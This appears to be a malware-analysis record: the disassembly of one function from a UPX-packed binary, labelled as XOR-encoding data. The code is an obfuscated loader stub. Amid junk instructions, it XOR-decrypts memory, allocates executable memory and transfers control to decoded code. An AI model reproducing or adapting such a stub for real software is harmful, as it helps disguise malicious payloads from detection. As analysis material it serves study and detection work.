Function at 0x4c472c
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xca18cf18
inc esi
sub esi, edi
popal
mov edi, esi
dec esi
mov esi, 0
mov edx, eax
dec ebx
add edi, 1
mov ecx, edx
or edi, edi
add ebx, edi
mov eax, ecx
not ebx
add edi, ebx
add ebx, edi
inc esi
mov edi, ebx
add edi, ebx
cmp esi, 0x1001f5c
jne 0x4c473e
sub edi, 0x640fd31f
mov edi, 0x22db1d8b
not ebx
mov edi, esi
inc edi
mov edi, 0x4c4516
add eax, 0x87b56139
or eax, esi
mov ecx, 0x4c470a
mov edx, 0x6c98c248
add eax, 0xde2db998
add esi, eax
mov ebx, dword [edi]
mov esi, eax
not edx
and ebx, 0xff
mov esi, eax
inc edx
xor dword [ecx], ebx
dec edx
mov esi, edx
inc ecx
add eax, esi
sub eax, 1
add edx, edx
inc edi
sub esi, edx
add eax, 0xd5981fb6
add eax, 0xf27e241b
cmp ecx, entry0
jl 0x4c4795
sub eax, 0xd7b366ec
not esi
add eax, 0x3bcc458e
or eax, eax
sub esi, 1
sub edx, 0x80f1402a
add ecx, edi
mov ebx, 0xaa5313a7
mov edx, 0x4c470e
add ebx, 0xdc36efa2
add edi, 0xac2e7013
mov edx, dword [edx]
not ecx
sub ecx, 1
mov edx, dword [edx]
add ecx, 0x6747dd46
mov ecx, 0x1ed5c509
mov esi, ecx
push edx
sub esi, ecx
or ecx, esi
add esi, 0x623d48a3
mov edx, 0x4c470a
sub edi, ecx
inc ebx
add edi, 0x78a7bfe0
mov edx, dword [edx]
and edi, esi
inc ebx
mov edx, dword [edx]
mov ebx, 0x73234d47
mov ecx, esi
or ebx, edi
push 0x4c4712
dec ecx
add esi, esi
dec esi
call edx
mov esi, 0xc8da677e
mov ecx, esi
and esi, edi
pop edx
add esi, ecx
add ecx, 1
push 0x4c471f
or esi, edi
and edi, ecx
push eax
not ecx
add esi, 0xdc5a8a81
add ebx, 0xfff3d596
call edx
sub ecx, 1
not ecx
sub esp, 4
mov dword [esp], 0x40
not esi
sub ecx, 0xf903cf94
sub esp, 4
mov dword [esp], 0x3000
and ecx, ecx
not esi
push 0x20000043
dec esi
sub edi, 0x9729df17
push 0
sub edi, ecx
dec ecx
call eax
inc ecx
sub ecx, esi
add eax, 0x1fffffc2
add edi, 0x60cc04c4
not ebx
mov ecx, esi
mov edx, 0x5fe07232
sub ebx, ecx
dec ebx
mov edi, 0xccae9ba1
mov dword [eax], edx
not esi
add ecx, edi
mov edi, 0x60edee74
mov edx, dword [eax]
add ecx, edi
mov ebx, edi
or ecx, esi
cmp edx, 0x5fe07232
je 0x4c48fc
mov ebx, 0
mov dword [ebx], edx
add edi, esi
sub esi, 0x9e43ac3b
or ecx, ecx
and esi, ecx
sub esi, edi
dec esi
dec esi
mov ebx, section.UPX1
add edi, 0x39e50783
inc esi
mov edx, 0x4c4515
add edi, 0xc92aabbf
and esi, esi
mov eax, 0
mov esi, edi
inc edi
add esi, 1
mov ecx, 0x4c4516
mov esi, 0xad8ae75
sub edi, 1
lea ecx, [ecx + eax]
add esi, esi
add esi, esi
sub edi, esi
mov ecx, dword [ecx]
or edi, edi
sub edi, esi
mov esi, edi
and ecx, 0xff
inc esi
mov esi, 0xc0bc288
not esi
inc eax
sub edi, esi
add esi, esi
cmp eax, 0x1f4
jne 0x4c4974
mov eax, 0
dec edi
add esi, 0xc4cf74d0
add edi, esi
and edi, edi
sub esi, 0x9fc0beef
inc edi
xor dword [ebx], ecx
mov esi, 0xdc1c6908
add esi, esi
mov edi, esi
add ebx, 2
dec edi
mov esi, edi
cmp ebx, edx
jl 0x4c4933
mov edi, 0x73ec03e7
sub esi, 0x3652ee3a
mov esi, 0x7cb3939c
and esi, edi
mov ecx, section.UPX1
sub edi, edx
mov edi, 0x3bab3325
sub edx, 0x72d9be07
mov eax, section.UPX1
or edx, edi
sub edx, 0xd0486615
inc edi
mov esi, 0x4c4515
dec edi
and edi, edi
or edx, edx
mov ebx, 0
mov edx, 0x8de480a8
and edi, edi
mov bl, byte [eax]
add edi, 0xe3edcae7
sub edi, 0x76d8fc21
mov edi, 0xfecfa7ba
mov byte [ecx], bl
not edi
add edi, edx
not edx
inc ecx
mov edi, edx
or edx, edx
add edi, edx
add eax, 2
add edi, edx
and edx, edi
and edx, edi
cmp eax, esi
jle 0x4c49ea
add edx, 0xf8331ac2
sub edi, 1
and edx, edx
add esi, 0x6757a3b6
add edi, 0xea847861
sub edi, 0xe72bcbef
push 0x4956a0
mov edi, 0xf96a15d8
mov edi, 0xdadb65f6
ret